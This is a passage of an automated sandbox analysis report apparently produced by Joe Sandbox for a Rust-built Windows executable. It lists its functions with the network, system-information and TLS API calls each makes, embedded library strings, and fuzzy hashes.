Opcode Fuzzy Hash: 26169a31779ff81f4683d1f29368a32f55b127f3936116a4c16f1155664e40b5
Instruction Fuzzy Hash: 24F28F22A0CBD181EA718B15E8453FAB364FB94788F484135DACDA7B99EFBCD585C700

Function 00007FF652EB7A83 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 281
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASocketW.WS2_32 ref: 00007FF652EB7D2C
WSAGetLastError.WS2_32 ref: 00007FF652EB7D51
WSASocketW.WS2_32 ref: 00007FF652EB7D85
SetHandleInformation.KERNEL32 ref: 00007FF652EB7DA2
GetLastError.KERNEL32 ref: 00007FF652EB7DAB
bind.WS2_32 ref: 00007FF652EB7DF1
WSAGetLastError.WS2_32 ref: 00007FF652EB7DFF
closesocket.WS2_32 ref: 00007FF652EB7E0A
WSAGetLastError.WS2_32 ref: 00007FF652EB7E27

Part of subcall function 00007FF652EDC1D0: memcpy.MSVCRT ref: 00007FF652EDC22F

Strings

127.0.0.1:34254/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\alloc\src\collections\btree\navigate.rs, xrefs: 00007FF652EB7AA5

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: ErrorLast$Socket$HandleInformationbindclosesocketmemcpy
String ID: 127.0.0.1:34254/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\alloc\src\collections\btree\navigate.rs
API String ID: 610469329-2703947089
Opcode ID: 25ef447e3a03aaac567a34f199badeb0543874ad4446f8d28f8f6159c052e87e
Instruction ID: 24d01e2dbd1aa22d529b94476cfafe64112bf0d8b1e798d551fbbe58c471d56f
Opcode Fuzzy Hash: 25ef447e3a03aaac567a34f199badeb0543874ad4446f8d28f8f6159c052e87e
Instruction Fuzzy Hash: C8C10823A1C7A242F7158B24E8503BA7791FB807A8F584139EA8D97BD5DFBCD481C700

Function 00007FF652E694F9 Relevance: 14.8, APIs: 6, Strings: 2, Instructions: 822
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 00007FF652E699A2
memcpy.MSVCRT ref: 00007FF652E699D6
memcpy.MSVCRT ref: 00007FF652E69D42
memcpy.MSVCRT ref: 00007FF652E69E98
CloseHandle.KERNEL32 ref: 00007FF652E6A171
GetSystemInfo.KERNEL32 ref: 00007FF652E6A483

Strings

(, xrefs: 00007FF652E6A4B0
RAYON_NUM_THREADSRAYON_RS_NUM_CPUSThreadPoolBuildErrorGlobalPoolAlreadyInitializedCurrentThreadAlreadyInPoolIOError, xrefs: 00007FF652E6A1BC

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy$CloseHandleInfoSystem
String ID: ($RAYON_NUM_THREADSRAYON_RS_NUM_CPUSThreadPoolBuildErrorGlobalPoolAlreadyInitializedCurrentThreadAlreadyInPoolIOError
API String ID: 4246747877-1997856067
Opcode ID: 2781a08aff7b0fb3d65583db4119c0344d56308f37385ed903e99b2d96e669dc
Instruction ID: b436ad61cd663e20b39ab087a73d578dc6f949949b19e95a11fecdc4f7b5e3c6
Opcode Fuzzy Hash: 2781a08aff7b0fb3d65583db4119c0344d56308f37385ed903e99b2d96e669dc
Instruction Fuzzy Hash: 48926D32A08BD581E6758B15F8813EAB3A4FB98B88F048129DFCD57B55DF78E195C700

Function 00007FF652E75CE4 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 432
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASocketW.WS2_32 ref: 00007FF652E75E09
ioctlsocket.WS2_32 ref: 00007FF652E75E30
closesocket.WS2_32 ref: 00007FF652E7627A
memcpy.MSVCRT ref: 00007FF652E76329
memcpy.MSVCRT ref: 00007FF652E76346

Strings

Network unreachabletcp connect error, xrefs: 00007FF652E76761
tcp open errortcp set_nonblocking errortcp bind local error, xrefs: 00007FF652E75E8D

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy$Socketclosesocketioctlsocket
String ID: Network unreachabletcp connect error$tcp open errortcp set_nonblocking errortcp bind local error
API String ID: 429738851-2266390304
Opcode ID: 4a52b0fa1ec0b376580ad3f93dd467378e69d84af7d7c2567c9e394785899ca3
Instruction ID: acc11e6346dca7f1bcb44674ea6b213b15a1eb5100a2673143f86c146e498a09
Opcode Fuzzy Hash: 4a52b0fa1ec0b376580ad3f93dd467378e69d84af7d7c2567c9e394785899ca3
Instruction Fuzzy Hash: 9322B262A08BD181E7218B25E8003F963A0FB9975CF099239DE8C57696EFBCE5D5C700

Function 00007FF652EB6F2C Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 178
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF652EB709E
GetProcAddress.KERNEL32 ref: 00007FF652EB70B6
memset.MSVCRT ref: 00007FF652EB70DA
AcquireCredentialsHandleA.SECUR32 ref: 00007FF652EB71A2

Strings

RtlGetVersion, xrefs: 00007FF652EB70AC
Microsoft Unified Security Protocol Provider, xrefs: 00007FF652EB7190
bE, xrefs: 00007FF652EB70FD
ntdll.dll, xrefs: 00007FF652EB7097

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: Handle$AcquireAddressCredentialsModuleProcmemset
String ID: Microsoft Unified Security Protocol Provider$RtlGetVersion$bE$ntdll.dll
API String ID: 166702113-1116218560
Opcode ID: fdaa9fa38286877e8c13a7a28833316c191ab40c21357cf2faf1603f90987e03
Instruction ID: 2e6fc50667da3ec3dcf902e1be4bf077a5c3a57186268f0d7d4e4a7cd5abea4c
Opcode Fuzzy Hash: fdaa9fa38286877e8c13a7a28833316c191ab40c21357cf2faf1603f90987e03
Instruction Fuzzy Hash: 53819672A097D181E7358F15E8013EA67A0FB98788F449239DE8C67B59DFBDD191CB00

Function 00007FF652E74A04 Relevance: 12.9, APIs: 5, Strings: 3, Instructions: 869
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

dns error/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-util-0.1.10/src/client/legacy/connect/http.rs, xrefs: 00007FF652E74F0B
, xrefs: 00007FF652E75B52
invalid URL, scheme is not httpinvalid URL, scheme is missinginvalid URL, host is missingConnectError, xrefs: 00007FF652E74AEE

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID: $dns error/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-util-0.1.10/src/client/legacy/connect/http.rs$invalid URL, scheme is not httpinvalid URL, scheme is missinginvalid URL, host is missingConnectError
API String ID: 0-926526499
Opcode ID: 9d8cac4510f8ed611c2500afb9d8ca480e7f1fbb797c16b519cf270bab70d26d
Instruction ID: f354ae7128c12899021f33954880a828ef645c5851dd94b67be3e413fe57d4e8
Opcode Fuzzy Hash: 9d8cac4510f8ed611c2500afb9d8ca480e7f1fbb797c16b519cf270bab70d26d
Instruction Fuzzy Hash: 07A2A132609BE181E720CB11E8447EE73A4FB99788F495129DF9C97B96EFB8D185C700

Function 00007FF652EE4514 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 380
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 00007FF652EE4588

Strings

assertion failed: vec.capacity() - start >= len/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/rayon-1.10.0/src/vec.rs, xrefs: 00007FF652EE4C19

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: InformationQuerySystem
String ID: assertion failed: vec.capacity() - start >= len/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/rayon-1.10.0/src/vec.rs
API String ID: 3562636166-2891932130
Opcode ID: f5f651dec0c634ca397d20de15777fb7c205e38c713dc4705e8f6830f780c27f
Instruction ID: add38aac69bf8a298f2791ad034fa4d87b6e4b278110a673fc74d8c93888fecb
Opcode Fuzzy Hash: f5f651dec0c634ca397d20de15777fb7c205e38c713dc4705e8f6830f780c27f
Instruction Fuzzy Hash: 95029132608BD281EB60DB15E8403AEB3A4FB85794F448239DB9DA7B99EF7CD045C740

Function 00007FF652E31180 Relevance: 12.2, APIs: 8, Instructions: 201
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00007FF652E311E6
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF652E31258
malloc.MSVCRT ref: 00007FF652E31322
strlen.MSVCRT ref: 00007FF652E31344
malloc.MSVCRT ref: 00007FF652E31350
memcpy.MSVCRT ref: 00007FF652E31368
GetStartupInfoA.KERNEL32 ref: 00007FF652E31453

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandledmemcpystrlen
String ID:
API String ID: 649803965-0
Opcode ID: 93dbfcf86aa5a220232f0a590beb57cb544a38ece546fe1fd801a7f6c84b89fa
Instruction ID: fde12fe63ecdd26a39fe7948df8d197ebe93a2e9f2a8b08aa04aba23afa92a1c
Opcode Fuzzy Hash: 93dbfcf86aa5a220232f0a590beb57cb544a38ece546fe1fd801a7f6c84b89fa
Instruction Fuzzy Hash: 2E815631E0966685FA249B15FD5037923A1BF64B8DF4C803DDA4DEB3A2DEACF8408750

Function 00007FF652EAB1D8 Relevance: 10.2, APIs: 3, Strings: 3, Instructions: 1202COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652EAB27D
memcpy.MSVCRT ref: 00007FF652EAB6F3

Strings

cookie2, xrefs: 00007FF652EABDEC
Pending error polled more than once, xrefs: 00007FF652EAB2CD
httphttpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs, xrefs: 00007FF652EAB89A, 00007FF652EABC1C

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: Pending error polled more than once$cookie2$httphttpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs
API String ID: 3510742995-3777362141
Opcode ID: cc61ab6647fc7aa542117821ce9a88082605d5f9590d5873647240b706b85502
Instruction ID: beebfb4eb04403862e61652e76ece6fe3c36992b56fe1cfba3dd35061e409aa2
Opcode Fuzzy Hash: cc61ab6647fc7aa542117821ce9a88082605d5f9590d5873647240b706b85502
Instruction Fuzzy Hash: ACC2C332A08AD181EB61DB15E8583FE6360FB94B88F485039DE8DA7795DFBCE585C700

Function 00007FF652E84688 Relevance: 10.1, APIs: 2, Strings: 4, Instructions: 1121COMMON

Download Yara Rule

Strings

just sent Ok, xrefs: 00007FF652E86C08
close, xrefs: 00007FF652E84D83
assertion failed: slot.is_none()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-channel-0.3.31/src/oneshot.rs, xrefs: 00007FF652E86C40
size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs, xrefs: 00007FF652E86B9B

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID: assertion failed: slot.is_none()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-channel-0.3.31/src/oneshot.rs$close$just sent Ok$size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs
API String ID: 0-3910784894
Opcode ID: cdcbe4f599d74bae74c3e7f23cbeb097ebc7a9d9eb044ad12edd4c0214b30543
Instruction ID: 40310d83facd4a3da8166d49dfb91636cba91ae7d8015fa3fc00b300b047e79d
Opcode Fuzzy Hash: cdcbe4f599d74bae74c3e7f23cbeb097ebc7a9d9eb044ad12edd4c0214b30543
Instruction Fuzzy Hash: DEC2B672A0CAD281EA358B15E8113FAA361FB85788F484139DBCDA7B99DF7CE545C700

Function 00007FF652E76A17 Relevance: 9.3, APIs: 3, Strings: 2, Instructions: 515
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

connect.WS2_32 ref: 00007FF652E76BB9
memcpy.MSVCRT ref: 00007FF652E76D7C

Strings

A Tokio 1.x context was found, but it is being shutdown.mark_pending called when the timer entry is in an invalid state, xrefs: 00007FF652E76C8F
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF652E772AA, 00007FF652E773B3

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: connectmemcpy
String ID: A Tokio 1.x context was found, but it is being shutdown.mark_pending called when the timer entry is in an invalid state$called `Result::unwrap()` on an `Err` value
API String ID: 456332141-2745803406
Opcode ID: 0547e144c683200620cc1905c114e9e4de197b69669a56eee8e35845b91385f9
Instruction ID: c0d8d3f3d92636e61ae4a29e3c9867cf0957bd4c65595d9980fdcc32c9756822
Opcode Fuzzy Hash: 0547e144c683200620cc1905c114e9e4de197b69669a56eee8e35845b91385f9
Instruction Fuzzy Hash: EC426F32A08BD681E7718B15E8403EAB3A4FB99748F584129DBCC97B56DFBCE195C700

Function 00007FF652E68655 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 336threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 00007FF652E688C2
SwitchToThread.KERNEL32 ref: 00007FF652E688F9

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF652E68BB9
, xrefs: 00007FF652E68995

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: SwitchThread
String ID: $called `Result::unwrap()` on an `Err` value
API String ID: 115865932-729407269
Opcode ID: df7ada9fbd3fc7bf97b3d7bd44852a8cb055741e325dfa86237b062013f13c02
Instruction ID: 2d4e8b42b264ff919b665b3c1214c68d08cc3e0c76ce6412e4d83e834d37d70d
Opcode Fuzzy Hash: df7ada9fbd3fc7bf97b3d7bd44852a8cb055741e325dfa86237b062013f13c02
Instruction Fuzzy Hash: 09E1B37260979281EA65CB11B8943BA63A0FB85798F18813ADF9D97794DFBCF049C700

Function 00007FF652E65E40 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 301COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.NTDLL ref: 00007FF652E66025

Strings

Out of bounds access/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/stream/stream/into_future.rs, xrefs: 00007FF652E6629B, 00007FF652E662AB
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF652E66283, 00007FF652E662FB, 00007FF652E66442

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: ErrorStatus
String ID: Out of bounds access/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/stream/stream/into_future.rs$called `Result::unwrap()` on an `Err` value
API String ID: 1596131371-647002947
Opcode ID: 6b654137f1020addaee9f001f86283512eb3a264d67ca030bffb99446a291b5c
Instruction ID: c911e8b200e715cf0c77695c365d802caba19ca33db14f33155fac4bc87303c5
Opcode Fuzzy Hash: 6b654137f1020addaee9f001f86283512eb3a264d67ca030bffb99446a291b5c
Instruction Fuzzy Hash: 07D1A532A187A681EA60DB15F8946BE77A4FB85798F48403ADF8D93795CF7CE045C700

Function 00007FF652EE4C62 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 356COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00007FF652EE4C9F

Strings

unknownARM x64, xrefs: 00007FF652EE4FAF

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: InfoSystem
String ID: unknownARM x64
API String ID: 31276548-812579982
Opcode ID: 00d086041c3b28cda1aa2720f97067e224c7e73f4ada86f23bc0c2be560d0302
Instruction ID: fba2c4156a842e2f94be9431425172b60b339a5ec1d29ad0704f167265311359
Opcode Fuzzy Hash: 00d086041c3b28cda1aa2720f97067e224c7e73f4ada86f23bc0c2be560d0302
Instruction Fuzzy Hash: FEF1737260DB9281EB60DB15E8403AEB7A0FB85B94F18413ADE8D97B95DFBCD445C700

Function 00007FF652E71FE7 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 235windowCOMMON

Download Yara Rule

APIs

DecryptMessage.SECUR32 ref: 00007FF652E72146

Strings

assertion failed: pos <= self.dec_in.get_ref().len() as u64, xrefs: 00007FF652E723B2

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: DecryptMessage
String ID: assertion failed: pos <= self.dec_in.get_ref().len() as u64
API String ID: 1433999834-2093299206
Opcode ID: 8d5dabbff8ae931f8bfa3ba0cb87a075835d243f7421f182bc4e5731fd68e46b
Instruction ID: 2b355cf70d7c4c0c3c5fa8501384f07884b350e6d4c9daa73ae53bb135c9b18c
Opcode Fuzzy Hash: 8d5dabbff8ae931f8bfa3ba0cb87a075835d243f7421f182bc4e5731fd68e46b
Instruction Fuzzy Hash: 2EA1A532A0C7D296EA649B15ED403BA63A0FB557C8F0C4039DE8EA7B56CF7CE4559700

Function 00007FF652E719F5 Relevance: 3.2, APIs: 2, Instructions: 152networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF652E71ACC
WSAGetLastError.WS2_32 ref: 00007FF652E71ADA

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
